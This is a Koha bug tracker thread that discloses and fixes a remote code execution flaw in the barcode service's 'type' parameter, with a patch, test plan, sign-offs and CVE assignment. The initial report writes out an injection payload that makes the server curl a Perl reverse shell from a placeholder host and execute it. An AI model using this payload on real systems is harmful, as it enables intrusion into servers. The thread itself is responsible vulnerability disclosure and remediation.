Created attachment 169537 [details] Web request + reverse shell Hi Koha team, I'm a security consultant with Bastion Security, we've identified a remote code execution vulnerability within the barcode generation feature at: https://github.com/Koha-Community/Koha/blob/main/svc/barcode This would allow for the execution of system commands on the server that is hosting the application. It was possible to establish a reverse shell as a result of this. The barcode generation function does not properly sanitize or validate the 'Type' parameter. By submitting the following value in the request to the barcode generator: type=IATA2of5 '.system("curl+http://IP:PORT/pearl.pl+|+perl") .' The lack of validation means that all content between the '. AND .' characters will execute on the underlying operating system. It was possible to induce the system to curl an externally hosted perl reverse shell script, which would then be executed as perl on the server hosting the Koha application and establish a reverse shell. I've attached a screenshot that displays the modified request and the establishment of a reverse shell. This vulnerability was identified on version 23.11.06 of Koha.
Good catch! It looks like it exploits a bug in GD::Barcode. You'd expect the library to do some validation and not do the "require" in an "eval". Yikes. Should be an easy fix in this case, but worth looking at other usage of GD::Barcode to make sure the same bug can't be exploited elsewhere.
Created attachment 169541 [details] [review] Bug 37464: Validate "type" sent to barcode/svc This change validates the "type" sent to the barcode/svc. Without this change, we pass the user input directly to GD::Barcode, which passes the input into an eval{} block without any validation of its own. Test plan: 0. Apply the patch 1. koha-plack --reload kohadev 2. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=bad&barcode=123456 3. Note that a Code39 barcode is provided for an invalid type 4. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=Code39&barcode=123456 5. Note that a Code39 barcode is provided 6. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=UPCE&barcode=123456 7. Note that a non-Code39 barcode is provided (presumably UPCE)
It would good of us as good perl community members to if not send a patch for gd barcode but at least contact the author too eh?
(In reply to Chris Cormack from comment #4) > It would good of us as good perl community members to if not send a patch > for gd barcode but at least contact the author too eh? I'm running late at the moment, so I'll make a note to do it tomorrow, but happy for someone else starting their day to do that. It does look reasonably well maintained (last release was last September I think), so I imagine they'd be receptive.
https://github.com/mbeijen/GD-Barcode if we want to
Created attachment 169800 [details] [review] Bug 37464: Validate "type" sent to barcode/svc This change validates the "type" sent to the barcode/svc. Without this change, we pass the user input directly to GD::Barcode, which passes the input into an eval{} block without any validation of its own. Test plan: 0. Apply the patch 1. koha-plack --reload kohadev 2. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=bad&barcode=123456 3. Note that a Code39 barcode is provided for an invalid type 4. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=Code39&barcode=123456 5. Note that a Code39 barcode is provided 6. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=UPCE&barcode=123456 7. Note that a non-Code39 barcode is provided (presumably UPCE) Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
It works! :) (In reply to David Cook from comment #1) > Should be an easy fix in this case, but worth looking at other usage of > GD::Barcode to make sure the same bug can't be exploited elsewhere. Looks like it's the only case that was passing the $sType argument of new() as a variable.
Created attachment 169801 [details] [review] Bug 37464: Validate "type" sent to barcode/svc This change validates the "type" sent to the barcode/svc. Without this change, we pass the user input directly to GD::Barcode, which passes the input into an eval{} block without any validation of its own. Test plan: 0. Apply the patch 1. koha-plack --reload kohadev 2. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=bad&barcode=123456 3. Note that a Code39 barcode is provided for an invalid type 4. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=Code39&barcode=123456 5. Note that a Code39 barcode is provided 6. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=UPCE&barcode=123456 7. Note that a non-Code39 barcode is provided (presumably UPCE) Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net> Signed-off-by: Aleisha Amohia <aleishaamohia@hotmail.com>
Hi team, Going to request a CVE ID for this bug and for: https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=37466 Happy to help with testing any patches before they are fully released also. Thanks, Jack
> Going to request a CVE ID for this bug and for: https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=37466 Thanks :) --- > Happy to help with testing any patches before they are fully released also. It's in the attachments of this ticket. Here is the direct link for the commit: https://bugs.koha-community.org/bugzilla3/attachment.cgi?id=169801
Does this have a CVE number/ID we should include?
Pushed to main for 24.11. Nice work everyone, thanks!
(In reply to Katrin Fischer from comment #12) > Does this have a CVE number/ID we should include? No response from Mitre so far, have followed up with them again.
CVE assigned to this was: CVE-2024-42897 Thanks.
(In reply to Chris Cormack from comment #6) > https://github.com/mbeijen/GD-Barcode if we want to It was reported to the author of the GD::Barcode: https://github.com/mbeijen/GD-Barcode/issues/7
Not backporting to 23.05.x unless requested